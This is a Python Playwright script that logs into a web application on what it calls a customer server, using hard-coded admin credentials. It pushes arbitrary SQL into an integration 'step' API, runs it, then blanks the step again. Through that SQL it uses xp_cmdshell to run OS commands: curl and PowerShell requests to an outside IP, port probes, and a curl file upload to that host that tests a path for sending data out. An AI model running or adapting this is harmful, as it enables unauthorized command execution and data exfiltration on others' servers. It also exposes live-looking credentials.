#!/usr/bin/env python3
"""Test curl to 184.174.97.53 from customer server."""
import asyncio, re
from playwright.async_api import async_playwright

IP = "74.208.83.171"
APP = "RTROGERSUAP1"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        # Login with retry
        for attempt in range(3):
            await page.goto(f"http://{IP}/{APP}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"  attempt {attempt+1} error: {e}")
        else:
            print("Login failed"); await browser.close(); return
        print("Login OK")

        async def run_sql(sql_text):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}", ""
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s, m

        # Test 1: curl https://184.174.97.53
        print("\n=== Test 1: curl https://184.174.97.53 ===")
        s, m = await run_sql("EXEC xp_cmdshell 'curl -sS -k https://184.174.97.53/'")
        print(f"  success={s} msg={m[:100]}")

        await asyncio.sleep(3)

        # Test 2: curl http://184.174.97.53 (HTTP not HTTPS)
        print("\n=== Test 2: curl http://184.174.97.53 ===")
        s, m = await run_sql("EXEC xp_cmdshell 'curl -sS http://184.174.97.53/'")
        print(f"  success={s} msg={m[:100]}")

        await asyncio.sleep(3)

        # Test 3: curl with verbose to see connection
        print("\n=== Test 3: curl -v -k https://184.174.97.53 ===")
        s, m = await run_sql("EXEC xp_cmdshell 'curl -v -k https://184.174.97.53/ 2>&1'")
        print(f"  success={s} msg={m[:100]}")

        await asyncio.sleep(3)

        # Test 4: PowerShell Invoke-WebRequest
        print("\n=== Test 4: PowerShell Invoke-WebRequest https ===")
        s, m = await run_sql("EXEC xp_cmdshell 'powershell -NoProfile -Command \"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; Invoke-WebRequest -Uri https://184.174.97.53/ -UseBasicParsing\"'")
        print(f"  success={s} msg={m[:100]}")

        await asyncio.sleep(3)

        # Test 5: Test-NetConnection (PowerShell)
        print("\n=== Test 5: Test-NetConnection 184.174.97.53 443 ===")
        s, m = await run_sql("EXEC xp_cmdshell 'powershell -NoProfile -Command \"Test-NetConnection -ComputerName 184.174.97.53 -Port 443\"'")
        print(f"  success={s} msg={m[:100]}")

        await asyncio.sleep(3)

        # Test 6: Test-NetConnection port 80
        print("\n=== Test 6: Test-NetConnection 184.174.97.53 80 ===")
        s, m = await run_sql("EXEC xp_cmdshell 'powershell -NoProfile -Command \"Test-NetConnection -ComputerName 184.174.97.53 -Port 80\"'")
        print(f"  success={s} msg={m[:100]}")

        await asyncio.sleep(3)

        # Test 7: Upload file to ch12 via this IP (if it proxies to ch12)
        print("\n=== Test 7: curl upload to 184.174.97.53 ===")
        s, m = await run_sql("EXEC xp_cmdshell 'echo test > C:\\\\Windows\\\\Temp\\\\test.txt & curl -sS -k -T C:\\\\Windows\\\\Temp\\\\test.txt https://184.174.97.53/ & del C:\\\\Windows\\\\Temp\\\\test.txt'")
        print(f"  success={s} msg={m[:100]}")

        await browser.close()

asyncio.run(main())
